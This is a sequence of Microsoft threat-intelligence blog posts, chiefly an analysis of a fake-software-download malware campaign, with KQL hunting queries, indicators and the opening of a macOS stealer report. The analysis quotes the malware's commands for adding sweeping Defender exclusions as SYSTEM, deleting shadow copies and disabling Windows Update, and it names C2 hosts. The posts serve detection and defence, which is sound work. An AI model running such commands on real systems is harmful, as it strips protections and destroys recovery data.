| where ServiceSource =~ "Microsoft Defender for Office 365"
| join (
AlertEvidence
| where EntityType =="Url"
| project AlertId, RemoteUrl 
)
on AlertId
| join (
AlertEvidence
| where EntityType =="MailMessage"
| project AlertId, NetworkMessageId 
)
on AlertId
// Get the unique NetworkMessageId for the email containing the Url
| distinct RemoteUrl, NetworkMessageId
| join EmailEvents on NetworkMessageId
// Get the email RecipientEmailAddress and ObjectId from the email 
| distinct RemoteUrl, NetworkMessageId, RecipientEmailAddress , RecipientObjectId
| join kind = inner IdentityInfo on $left.RecipientObjectId == $right.AccountObjectId 
| distinct RemoteUrl, NetworkMessageId, RecipientEmailAddress , RecipientObjectId, OnPremSid 
// Get the Url click event on the recipient device.
| join kind = inner 
(DeviceEvents 
| where ActionType == "BrowserLaunchedToOpenUrl"| where isnotempty(RemoteUrl) 
| project UrlDeviceClickTime = Timestamp , UrlClickedByUserSid = RemoteUrl, 
InitiatingProcessAccountSid, DeviceName, DeviceId, InitiatingProcessFileName
) 
on $left.OnPremSid == $right.InitiatingProcessAccountSid and $left.RemoteUrl == $right.UrlClickedByUserSid
| distinct UrlDeviceClickTime, RemoteUrl, NetworkMessageId, RecipientEmailAddress, RecipientObjectId, 
OnPremSid, UrlClickedByUserSid, DeviceName, DeviceId, InitiatingProcessFileName 
| sort by UrlDeviceClickTime desc

Determine successfully delivered phishing emails to Inbox/Junk folder.

This query identifies threats that were successfully delivered to Inbox/Junk folder.

EmailEvents
| where isnotempty(ThreatTypes) and DeliveryLocation in~ ("Inbox/folder","Junk folder")
| extend Name = tostring(split(SenderFromAddress, '@', 0)[0]), UPNSuffix = tostring(split(SenderFromAddress, '@', 1)[0])
| extend Account_0_Name = Name
| extend Account_0_UPNSuffix = UPNSuffix
| extend IP_0_Address = SenderIPv4
| extend MailBox_0_MailboxPrimaryAddress = RecipientEmailAddress

Microsoft Sentinel

Microsoft Sentinel customers can use the following queries to detect phishing attempts. These queries can help customers remain vigilant and safeguard their organization from phishing attacks:

• Phishing link click observed in Network Traffic

References

• Riding the Rails: Threat Actors Abuse Railway.com PaaS as Microsoft 365 Token Attack Infrastructure Huntress

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Unmasking EvilTokens: Getting to the root of device code phishing appeared first on Microsoft Security Blog.

Microsoft Defender Experts is tracking an active malware campaign that uses counterfeit software-download websites to impersonate trusted vendors and distribute malicious installers. The campaign has targeted users looking to download popular software and has resulted in compromises across multiple organizations and industries, primarily affecting China-based operations of multinational organizations and Chinese-speaking users. Microsoft has observed victims across healthcare, manufacturing, gaming, technology, logistics, government, and education sectors.

Once executed, the malicious installers deploy malware that establishes persistence, attempts to weaken security protections, and communicates with attacker-controlled infrastructure. Microsoft assesses with moderate confidence that this activity is consistent with the publicly reported Silver Fox (also known as Yinhu, 银狐) fake software campaign but has not attributed it to a nation-state actor. Microsoft Defender detected and disrupted activity across multiple stages of the attack, including automated containment through attack disruption. Organizations should prioritize preventing downloads from untrusted software sources and ensure protections such as SmartScreen, network protection, tamper protection, and Microsoft Defender XDR are enabled to help identify, block, and respond to related activity.

Attack chain overview

The campaign follows a consistent attack chain from a spoofed vendor download page to a self-protecting, persistent implant. The stages below trace that chain — initial access, delivery, execution, persistence, privilege escalation, defense evasion, and command and control.

Campaign scope and targeting

Microsoft observed affected devices predominantly associated with China-based operations and Chinese-speaking users, consistent with the Chinese-language lure content and the .com.cn and .hl.cn infrastructure. Confirmed activity spans medical devices and healthcare, manufacturing, gaming, technology, logistics, government, and higher education across multiple organizations and industries.

Initial access: spoofed software-download sites

The entry point is a fraudulent software-download website that spoofs a legitimate vendor. In one case, endpoint telemetry captured a device navigating to the fake Razer page pc-razerzone[.]com[.]cn and downloading app_setup.6653004.zip from the delivery host gehie246[.]com/712down; two content-distinct copies of the same-named archive were written within roughly 69 seconds — a direct observation of server-side payload regeneration.

Across the estate, FileOriginReferrerUrl telemetry ties each downloaded archive to the impersonation page that served it and to rotating delivery hosts (yimxg25tiy[.]com/73inst, cc8ttkv35b[.]com/7qinst, n7b8t85zsg[.]com/ins711) and a suspected attacker-controlled Alibaba Cloud Object Storage Service (OSS) bucket. The lure domains predominantly use .com.cn, .hl.cn, and .cn and embed the impersonated brand name.

Delivery: a dynamically generated installer archive

The following examples illustrate how look-alike domains routed users to the same delivery infrastructure while preserving brand-specific lure pages.

When the user selects the download control, Microsoft Edge retrieves a malicious installer archive from a small set of dedicated delivery domains.

pc-razerzone[.]com[.]cn  (spoofed Razer download site)   →   www[.]gehie246[.]com/712down   →   app_setup.6653004.zip   →   stage-one loader

A defining characteristic is that the archive keeps the same filename while its hash changes on every download — a strong indicator the payload is generated server-side, per request. Microsoft observed families of same-named archives (app_setup.*, zinst.*, zintall.*, intsoft.*, innstll.*) whose contents differ across downloads while the delivery URL stays constant; the full validated hash set is in the indicators of compromise below.

kaspersky-lab[.]hl[.]cn     →   hxxp://www.gehie246[.]com/712down
pc-razerzone[.]com[.]cn     →   hxxp://www.gehie246[.]com/712down
calibre-ebook[.]com[.]cn    →   hxxp://www.gehie246[.]com/712down

Brand-impersonation infrastructure

The campaign runs a large, uniform set of vendor look-alike pages on .com.cn and .hl.cn domains, each cloning the real product’s branding and presenting a prominent “Download now” button. All funnel to the same delivery and payload infrastructure.

Although these domains impersonate unrelated vendors, they are not independently hosted. Infrastructure enrichment, corroborated by Microsoft telemetry where the two overlap, resolves them into two groupings. Six domains resolve within AS132839, spread across four unrelated netblocks and three registered country codes, and share a common pair of nameservers. Two further domains resolve within AS8796 in a single /21, using a different nameserver pair. One additional domain is served through a content delivery network (CDN), concealing its origin. Because hosting and Domain Name System (DNS) are frequently bundled by the same reseller, these are best read as two consistent procurement channels rather than two independent corroborating signals.

The practical implication for defenders is that netblock- and geography-based grouping will miss these relationships, while Autonomous System Number (ASN)-level analysis surfaces them.The autonomous system remains constant even where the address space and registered country vary. These are shared commercial hosting and DNS providers carrying substantial unrelated tenancy, so the ASN and nameserver should be treated as hunting pivots, not blocklist entries.

The following capture shows a representative impersonation page served by the campaign. The pages are high-fidelity clones of a legitimate vendor’s site with a prominent download call-to-action.

Execution: a wrapped installer drops a randomized stage-one payload

The wrapper installer creates a randomized executable path while reusing stable payload content, making names unreliable but behavior and hashes useful for detection.

Opening the archive yields a wrapper installer whose name follows a generated pattern (for example, a_instapp83353001.exe or ainst8663586104.exe).

Executing the wrapper creates and launches a stage-one payload at a randomized path under a world-writable or system location; the directory and file names are randomized, but the payload content is stable. The same stage-one 256-bit Secure Hash Algorithm (SHA-256) (676a2a7b94ca…) was observed under many names and paths.

C:\Users\Public\sE94yD\aLcUaw.exe        (SHA-256 676a2a7b94ca…  stage-one)
C:\Users\Public\nvdPX5\2b3L5i.exe        (SHA-256 676a2a7b94ca…  stage-one)
C:\Program Files (x86)\i3LH90\ErNGxW.exe (SHA-256 6d6ba2bc9ad4…  later-stage)
C:\Program Files (x86)\Q8Maj\7EIr6VA.exe (SHA-256 6d6ba2bc9ad4…  later-stage)
C:\ProgramData\zsMmvukD\beuv4Mie.exe     (SHA-256 c6100166e2d3…  persistent)

The end-to-end chain is visible as a parent-to-child process tree: msedge.exe writes the archive, an archiving tool (7zFM.exe, 360zip.exe, or WinRAR.exe) extracts it, the bundled wrapper runs, and the wrapper launches the randomized stage-one payload.

msedge.exe                               downloads app_setup.6653004.zip
  └─ 7zFM.exe / 360zip.exe / WinRAR.exe  (user opens the downloaded archive)
       └─ a_instapp83353001.exe           (wrapper installer bundled in the archive)
            └─ C:\Users\Public\yZ6A88\9bEELI.exe  (stage-one payload, randomized)

Payloads are masqueraded; Microsoft confirmed the masquerade through file metadata on the later-stage payload (SHA-256 6d6ba2bc…), staged at C:\Program Files (x86)\<random>\. The binary’s version resource declares CompanyName: “Speech Processing Solutions GmbH”, FileDescription: “Philips Speech Driver Client Configuration”, OriginalFileName: PhilipsSpeechDriverConfiguration.exe, and ProductVersion: 4.7.471.07,while executing from a randomized directory under a randomized file name. The same resource retains an unfilled build-template placeholder, ProductName: “TODO: <Product name>”, indicating the version information was fabricated for the payload rather than inherited from genuine vendor software. Microsoft also observed svchost.exe executing from a non-system path (D:\hellothere\svchost.exe) rather than C:\Windows\System32.

FileName                                      XPSPLOG.dll
FolderPath                                    C:\Program Files (x86)\72q1o6\XPSPLOG.dll
InitiatingProcessFileName                     40gK5T.exe
InitiatingProcessFolderPath                   C:\Program Files (x86)\72q1o6\40gK5T.exe
InitiatingProcessSHA256                       6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
InitiatingProcessCommandLine                  "40gK5T.exe"
 
InitiatingProcessVersionInfoCompanyName       Speech Processing Solutions GmbH
InitiatingProcessVersionInfoFileDescription   Philips Speech Driver Client Configuration
InitiatingProcessVersionInfoOriginalFileName  PhilipsSpeechDriverConfiguration.exe
InitiatingProcessVersionInfoProductVersion    4.7.471.07
InitiatingProcessVersionInfoProductName       TODO: 
 
InitiatingProcessParentFileName               svchost.exe

A payload staged under C:\ProgramData\<random>\ (SHA-256 c6100166…) carries the version metadata of the Indigo Rose TrueUpdate Client (OriginalFileName: tu_rt.exe, ProductVersion: 3.8.0.0) and exhibits that product’s runtime behavior, writing _ir_tu2_temp_* artifacts to the user’s temp directory on each execution. Dropped by the later-stage payload and launched repeatedly by the Task Scheduler service, it connects to an attacker-controlled Alibaba Cloud OSS bucket over Transport Layer Security (TLS) and writes a further payload to a second randomized C:\ProgramData\ directory — a legitimate update mechanism repurposed for payload delivery.

00:24:43  ErNGxW.exe (6d6ba2bc…) creates C:\ProgramData\zsMmvukD\beuv4Mie.exe (c6100166…)
00:24:43  beuv4Mie.exe executes   ← parent: svchost.exe -k netsvcs -p -s Schedule
00:24:44  beuv4Mie.exe → ConnectionSuccess | upitem.oss-cn-hangzhou.aliyuncs.com | 443
00:24:44  beuv4Mie.exe creates C:\ProgramData\uwMUCYBN\SaYC4Mga.exe (f33d160d…)
02:12:22  beuv4Mie.exe creates …\Temp\_ir_tu2_temp_4      ← TrueUpdate runtime artifact
02:44:20  beuv4Mie.exe re-executes (scheduled task) → _ir_tu2_temp_5
02:59:00  … _temp_6    03:15:54 … _temp_7    08:02:52 … _temp_8
08:32:20  … _temp_9    08:38:51 … _temp_11

Alternate execution vector: Windows Installer (msiexec)

In parallel with the wrapped-installer chain, Microsoft observed a second execution vector that uses the Windows Installer service. The installer performs its intended function; what the campaign gains is execution under a signed, trusted Windows component. The extracted installer invokes msiexec.exe in embedded mode, which writes and launches a randomized executable into a world-writable C:\Users\Public\<random>\ directory, the same masquerade pattern as the wrapper chain, but delivered through msiexec.exe.

msiexec.exe -Embedding  E Global\MSI0000
  └─ C:\Users\Public\\.exe   (payload, randomized path/name)

The behavior is consistent and repeated: more than twenty distinct payload names were written this way, spawned by a range of parents including msedge.exe, explorer.exe, and svchost.exe.

Persistence and recurring execution: disguised scheduled tasks

Persistence and recurring execution are achieved through scheduled tasks whose display names imitate routine IT or productivity jobs (for example “Deadline Mission Target” and “Hierarchy Tools Smooth Inventory”), each launching a specific payload staged under C:\ProgramData\.

Each task launches a specific payload:

The persistent payloads are staged in locations such as C:\ProgramData\7fYptijy.exe, C:\ProgramData\zsMmvukD\beuv4Mie.exe, and C:\ProgramData\uwMUCYBN\SaYC4Mga.exe. Because the payloads are launched by the Task Scheduler service (parented to svchost.exe -k netsvcs -p -s Schedule) and multiple staggered tasks run per device, affected hosts exhibit a characteristic ~60-second re-execution cadence.

Privilege escalation: SYSTEM scheduled task and process injection

To perform privileged actions such as writing Microsoft Defender exclusions, the malware creates a short-lived scheduled task that runs as SYSTEM (SCHTASKS /Create … /RL HIGHEST /RU “SYSTEM”), executes the privileged action, then immediately runs and deletes the task

SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM"
  /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\"
       /v \"C:\Program Files (x86)\NPq6k16Om\" /t REG_DWORD /d 0 /f"
SCHTASKS /Run /TN "Task1"    &    SCHTASKS /Delete /TN "Task1" /F

The /RL HIGHEST /RU “SYSTEM” combination elevates the exclusion write to SYSTEM, and the create-run-delete sequence minimizes the footprint of the helper task. Process injection was also observed. A persistent campaign payload (SHA-256 1bd3662d…), launched from C:\ProgramData\ by the Task Scheduler service, created a remote thread in a legitimate user application moments after that application started — executing payload code inside the context of a trusted process. Microsoft Defender detected the activity as A process was injected with potentially malicious code.

ActionType                       CreateRemoteThreadApiCall
InitiatingProcessFileName        .exe
InitiatingProcessFolderPath      C:\ProgramData\.exe
InitiatingProcessSHA256          1bd3662d784840e410d2d3c0a1040277f7f549089447359f01e05c2559cb1f17
InitiatingProcessCommandLine     ".exe"
InitiatingProcessCreationTime    2026-07-13 02:44:20.887
InitiatingProcessParentFileName  svchost.exe
FileName                         .exe      (target process)
ProcessCommandLine               ".exe" -autorun
ProcessCreationTime              2026-07-13 02:44:37.568
AdditionalFields                 {"IntegrityLevel":8192}

The sequence below shows a single execution cycle end to end: the Task Scheduler service launches the payload, the payload immediately attempts command-and-control on two non-standard ports — both blocked at the host firewall — and, seventeen seconds later, injects into a user application within milliseconds of that application starting.

02:44:20.887   PROC     .exe started            parent: svchost.exe (Task Scheduler)
02:44:21.971   NETWORK  outbound to 47.239.232[.]245:8050    → FirewallOutboundConnectionBlocked
02:44:24.860   NETWORK  outbound to 47.243.218[.]255:28300   → FirewallOutboundConnectionBlocked
02:44:37.568   PROC     target application starts (-autorun)
02:44:37.604   INJECT   CreateRemoteThreadApiCall  .exe → target application   

Defense evasion: disabling host protections

Follow-on payloads take a layered approach to weakening the host. They add sweeping Microsoft Defender path exclusions via PowerShell (Add-MpPreference -ExclusionPath) and the SYSTEM scheduled-task registry write;

powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
powershell.exe -c if (Get-Process -Name HAhahahah) {} else {
  Add-MpPreference -ExclusionPath $env:localappdata,'C:\','C:\ProgramData',
   'C:\ProgramData\7b3St9HS','C:\ProgramData\7b3St9HS\27s7ihjC.exe' -ExclusionExtension '.dat' -Force }

delete volume shadow copies (vssadmin delete shadows /all /quiet) to inhibit recovery;

cmd.exe /c vssadmin delete shadows /all /quiet

harden payload directories with icacls so standard users cannot remove the files;

icacls "C:\Program Files (x86)\NPq6k16Om\xo7Tj9xQ.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F

and neutralize Windows Update by stopping and disabling wuauserv, UsoSvc, uhssvc, and WaaSMedicSvc, renaming update dynamic-link libraries (DLLs), and deleting the SoftwareDistribution cache.

for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do (
   net stop %i & sc config %i start= disabled & sc failure %i reset= 0 actions= "" )
for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll &
   icacls …\%i.dll /grant *S-1-1-0:F & rename …\%i.dll %i_BAK.dll &
   icacls …\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" & icacls …\%i_BAK.dll /remove *S-1-1-0 )
reg add "HKLM\…\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
erase /f /s /q c:\windows\softwaredistribution\*.*  &  rmdir /s /q c:\windows\softwaredistribution
powershell -Command Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask

A malicious Windows Defender Application Control policy was written to the code-integrity store on multiple devices; Microsoft Defender Antivirus detected the tamper behavior as Behavior:Win32/MpTamperGpDisableAVFriendly.A.

Command and control (C2)

A later-stage networking payload establishes command-and-control over application-layer protocols on non-standard ports — observed ports include 5090, 7031, 7032, 7088–7090, 8050, 28290, and 28300.

C2 endpoints comprise a set of six-character [.]net domains (iualef, oijfwe, euioxu, czijbh, wfmwsj, tbdqxq) and IP-and-port endpoints; a primary hub was observed on 202.95.14[.]237 (AS152194, CTG Server Limited). Payloads were observed beaconing to these endpoints with both successful and failed callbacks; the dedicated [.]net and IP-and-port C2 was intermittently unreachable while the same payloads still completed TLS connections to cloud object storage, consistent with a dedicated C2 tier that was often down while cloud-hosted staging remained live.

Detection and disruption

In observed environments, Microsoft Defender surfaced alerts across multiple stages and, where criteria were met, Attack Disruption engaged to contain affected devices and accounts.

Representative alerts include Modification attempt in Microsoft Defender Antivirus exclusion list, Compromised device (attack disruption), A process was injected with potentially malicious code, Potential C2 connection behavior, Suspicious Task Scheduler activity, and Compromised account conducting hands-on-keyboard attack. The campaign is not purely automated. In a subset of environments, the automated execution was accompanied by interactive, hands-on-keyboard activity, which attack disruption engaged to contain.

Microsoft Defender also blocked the attempted Server Message Block (SMB) lateral movement to additional hosts (Lateral movement using SMB remote file access blocked on multiple devices) and detected the C2 connection behavior; the campaign’s C2 endpoints are included in the blocked indicator set.

Attack disruption contained the device and account; full eradication of persistence still required responder action.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

Campaign-specific recommendations

• Enforce Tamper Protection. It blocks exclusion and registry writes to Microsoft Defender even when the payload runs as SYSTEM — directly countering the throwaway SYSTEM scheduled-task technique this campaign relies on.
• Hunt behavior, not file names. File names and hashes rotate on every download; pivot on the C:\Users\Public\<random>\<random>.exe and C:\Program Files (x86)\<random>\<random>.exe drop pattern, the Philips-Speech masquerade, and the stable stage-one and networking payload hashes.
• Alert on the tamper sequence. A SYSTEM scheduled task writing HKLM\…\Windows Defender\Exclusions\Paths then self-deleting, vssadmin delete shadows /all /quiet, and disabling wuauserv, UsoSvc, WaaSMedicSvc and uhssvc are high-fidelity signals.
• Treat look-alike download archives as malicious in web and mail flow. Block ZIPs named app_setup.*, zinst.*, zintall.*, intsoft.*, and innstll.* served from *.com.cn or *.hl.cn brand-look-alike domains and the /712down, /73inst, /7qinst, and /ins711 delivery endpoints.
• Correlate download referrers. Use FileOriginUrl and FileOriginReferrerUrl to catch landing-page to delivery-host pairs even after individual domains rotate, and block the C2 IP:port set and .net C2 domains.

Microsoft Defender XDR hardening recommendations

Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:

• Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
• Block execution of potentially obfuscated scripts 
• Block use of copied or impersonated system tools 
• Use advanced protection against ransomware 

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

These promptbooks can help analysts summarize affected entities, review alert timelines, and pivot on the IOCs included in this blog. Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft Defender XDR customers can use threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the malicious activity and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Advanced hunting

Microsoft Defender XDR and Microsoft Sentinel customers can run the following queries. . The behavior-based queries continue to work even as filenames, hashes, and domains rotate.

Campaign payloads and loaders Surfaces execution or creation of the campaign’s stable stage-one, later-stage, persistent, networking, and loader binaries by SHA-256.

let campaignSha256 = dynamic([
  "676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7", // stage-one
  "6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8", // later-stage
  "c4100ad39d8db98f063feb6c3b6c8e9a9f9d9bf25a1e0233f43b058ff8a7dbdf", // networking
  "1bd3662d784840e410d2d3c0a1040277f7f549089447359f01e05c2559cb1f17", // persistent
  "c6100166e2d3b40388980f7674712ef39e937ac04925ca5d370415399ed73faf", // TrueUpdate loader
  "f33d160d757e4b39019fdef21cf90cafb501b800ca0d4039366bc30856e3d81b", // persistent/networking
  "e4fe2dee8f0bb132fa15fc686d1f93df39530a2d3a8d3a1f3a605a057c04e7b3"  // supporting DLL
]);
union
  (DeviceProcessEvents | where SHA256 in (campaignSha256)),
  (DeviceFileEvents    | where SHA256 in (campaignSha256))
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc

Randomized payload drop pattern Finds executables dropped into randomized folders under world-writable or system locations — the campaign’s stable staging behavior regardless of filename.

DeviceProcessEvents
| where FolderPath matches regex @"(?i)^C:\\(Users\\Public|ProgramData|Program Files \(x86\))\\[A-Za-z0-9]{4,10}\\[A-Za-z0-9]{4,10}\.exe$"
| where InitiatingProcessFileName in~ ("msiexec.exe","explorer.exe","svchost.exe","cmd.exe","7zFM.exe","360zip.exe","WinRAR.exe")
| project Timestamp, DeviceName, AccountName, FolderPath, FileName, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc

Microsoft Defender exclusion tampering Detects the SYSTEM scheduled-task and PowerShell routines that write sweeping Microsoft Defender path exclusions.

DeviceProcessEvents
| where ProcessCommandLine has @"Windows Defender\Exclusions\Paths"
     or ProcessCommandLine has "Add-MpPreference -ExclusionPath"
     or (ProcessCommandLine has "SCHTASKS" and ProcessCommandLine has "SYSTEM" and ProcessCommandLine has "Exclusions")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
| order by Timestamp desc

Recovery inhibition and Windows Update neutralization Surfaces shadow-copy deletion and the routine that stops, disables, or renames Windows Update service components.

DeviceProcessEvents
| where ProcessCommandLine has "vssadmin delete shadows"
     or (ProcessCommandLine has_all ("sc","config","disabled") and ProcessCommandLine has_any ("wuauserv","UsoSvc","uhssvc","WaaSMedicSvc"))
     or ProcessCommandLine has "NoAutoUpdate"
     or (ProcessCommandLine has "rename" and ProcessCommandLine has_any ("wuaueng","WaaSMedicSvc"))
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine
| order by Timestamp desc

Windows Installer (msiexec) embedded-mode execution Catches the parallel delivery vector where msiexec launches a randomized payload from a world-writable path.

DeviceProcessEvents
| where InitiatingProcessFileName =~ "msiexec.exe"
| where InitiatingProcessCommandLine has "-Embedding" and InitiatingProcessCommandLine has @"Global\MSI0000"
| where FolderPath has @"C:\Users\Public\"
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessCommandLine
| order by Timestamp desc

Disguised scheduled-task execution Flags payloads relaunched by the Task Scheduler service from user-writable directories (the ~60-second re-execution loop).

DeviceProcessEvents
| where InitiatingProcessCommandLine has "netsvcs" and InitiatingProcessCommandLine has "Schedule"
| where FolderPath matches regex @"(?i)^C:\\(Users\\Public|ProgramData|Program Files \(x86\))\\"
| where FileName endswith ".exe"
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessFileName
| order by Timestamp desc

Command-and-control connections Matches callbacks to the campaign’s C2 IP:port set and six-character .net C2 domains.

let c2ip    = dynamic(["202.95.14.237","47.239.232.245","161.248.87.157","103.156.25.35","103.183.3.162","43.99.100.248","47.239.175.163","47.86.205.97","47.243.218.255"]);
let c2ports = dynamic([5090,7031,7032,7088,7089,7090,8050,28290,28300]);
let c2dom   = dynamic(["iualef.net","euioxu.net","czijbh.net","wfmwsj.net","tbdqxq.net","oijfwe.net"]);
DeviceNetworkEvents
| where (RemoteIP in (c2ip) and RemotePort in (c2ports)) or (RemoteUrl has_any (c2dom))
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256, RemoteIP, RemotePort, RemoteUrl, ActionType
| order by Timestamp desc

Malicious delivery domains and download endpoints Identifies connections to the dedicated delivery domains and the /712down, /73inst, /7qinst, /ins711 download paths.

let deliveryHosts = dynamic(["gehie246.com","yimxg25tiy.com","cc8ttkv35b.com","n7b8t85zsg.com","bxfh.tzcdq.cn","tmsq.tzcdq.cn","mebx78e02.com","qwjre1487.com"]);
DeviceNetworkEvents
| where RemoteUrl has_any (deliveryHosts) or RemoteUrl has_any ("/712down","/73inst","/7qinst","/ins711")
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl, RemoteIP, ActionType
| order by Timestamp desc

MITRE ATT&CK techniques observed

This threat has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

Indicators of compromise (IOC)

References

Prior reporting and OSINT sources — Silver Fox (also known as Yinhu, 银狐)

• TweetFeed community indicator feed — weekly IOC export
• AlienVault OTX pulse — campaign delivery infrastructure and C2 indicators
• MalwareBazaar — campaign payload sample (aea879a0…)
• MalwareBazaar — campaign payload sample (6dacf281…)
• LGSRC public indicator repository

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation
• How Microsoft discovers and mitigates evolving attacks against AI guardrails
• Learn more about securing Copilot Studio agents with Microsoft Defender 

The post Counterfeit installers to system compromise: Tracking a deceptive software download campaign appeared first on Microsoft Security Blog.

MacSync Stealer is a macOS-focused information stealer that relies on changing infrastructure to deliver payloads, communicate with compromised devices, and exfiltrate data. Earlier reporting by RST Cloud identified the threat through a limited set of domains and documented rapid command-and-control (C2) replacement after public disclosure.

Microsoft Defender Experts expanded that view by correlating recurring endpoints and network behaviors across the activity. This behavior-led approach connected more than 30 domains and showed that the infrastructure supported more than C2 communication, extending into active collection, staging, and exfiltration. The findings demonstrate that although domains may rotate quickly, repeated execution patterns, request characteristics, staging behavior, and upload methods provide defenders with more durable opportunities to investigate MacSync Stealer activity. 

Activity overview 

Microsoft Defender Experts reviewed endpoint and network telemetry to determine which MacSync Stealer behaviors persisted as infrastructure changed. The investigation followed the activity from C2 communication through collection, staging, and exfiltration, using recurring technical traits to connect activity across rotating domains. Execution began from an interactive shell session consistent with ClickFix social engineering, where users are tricked into pasting or running commands in Terminal. The shell session used curl to retrieve attacker-controlled payload content, followed by script-driven execution and outbound communication. 

After execution, the malware communicated with attacker-controlled infrastructure using recurring URI paths, macOS User-Agent strings, API-key headers, and curl command-line options. These request traits became durable behavioral pivots because they remained consistent even as domains changed. The activity then progressed into collection behavior targeting macOS Keychain material, browser data, locally stored credentials, cloud and Secure Shell (SSH) credentials, and sensitive files from common user directories. 

The investigation also confirmed active data exfiltration, not just beaconing. Collected data was staged under temporary paths, compressed into an archive, split into chunks, and uploaded through HTTP PUT requests using curl with the –data-binary argument. Upload parameters such as upload_id, chunk_index, and total_chunks provided additional hunting opportunities that could be correlated with process, command-line, file, and network telemetry across the attack chain. 

Discovery of additional rotating infrastructure 

To identify related MacSync Stealer infrastructure, Microsoft Defender Experts required multiple endpoint and network behaviors to align before treating a domain as connected. Correlation focused on recurring traits across payload retrieval, C2 check-in, and exfiltration, including process ancestry, command-line patterns, request paths, headers, and upload parameters. Applying this standard linked more than 30 domains, making the domain count an outcome of the behavioral methodology rather than the primary finding. 

The strongest pivots combined network request shape with endpoint execution context. Related infrastructure shared recurring URI patterns such as /curl/, /dynamic?txd=, and /gate?buildtxd=; curl command lines using -k, -s, –max-time, and –data-binary; macOS User-Agent strings; API-key headers; and HTTP PUT uploads that included upload_id, chunk_index, and total_chunks parameters. RST Cloud used recurring URI patterns to surface eleven additional candidate domains and found a static API-key value shared across four confirmed C2 domains while the build token rotated per deployment. Domains were treated as related when multiple behavioral traits aligned across process, command-line, and network telemetry, reducing reliance on any single domain indicator. 

This finding reinforces a practical defender lesson: rotating infrastructure can weaken static domain blocking and retrospective IOC matching, but repeated request patterns and process behaviors create durable hunting opportunities. Figure 1 shows representative defanged command-line patterns used as pivots across payload retrieval, C2 check-in, and chunked upload activity. 

Figure 1. Representative behavioral pivots associated with MacSync Stealer payload retrieval, C2 check-in, and chunked HTTP PUT exfiltration. 

The same behavioral patterns used to identify additional infrastructure also map to the broader end-to-end activity observed on affected macOS devices. 

Attack chain overview

The observed MacSync Stealer activity followed a fast, script-driven attack chain designed to execute quickly on macOS, collect high-value local data, stage the results, and exfiltrate the archive through rotating web infrastructure. This sequence matters because each phase produces telemetry that can be correlated across processes, command-line, file, and network events. Rather than relying on any individual domain, defenders can track the chain through recurring execution tools, URI paths, staging locations, and upload parameters. 

Figure 2. MacSync Stealer attack chain showing payload retrieval, AppleScript-assisted execution, collection, staging, chunked exfiltration, and cleanup mapped to behavioral hunting opportunities. 

Phase 1: Initial access and payload execution

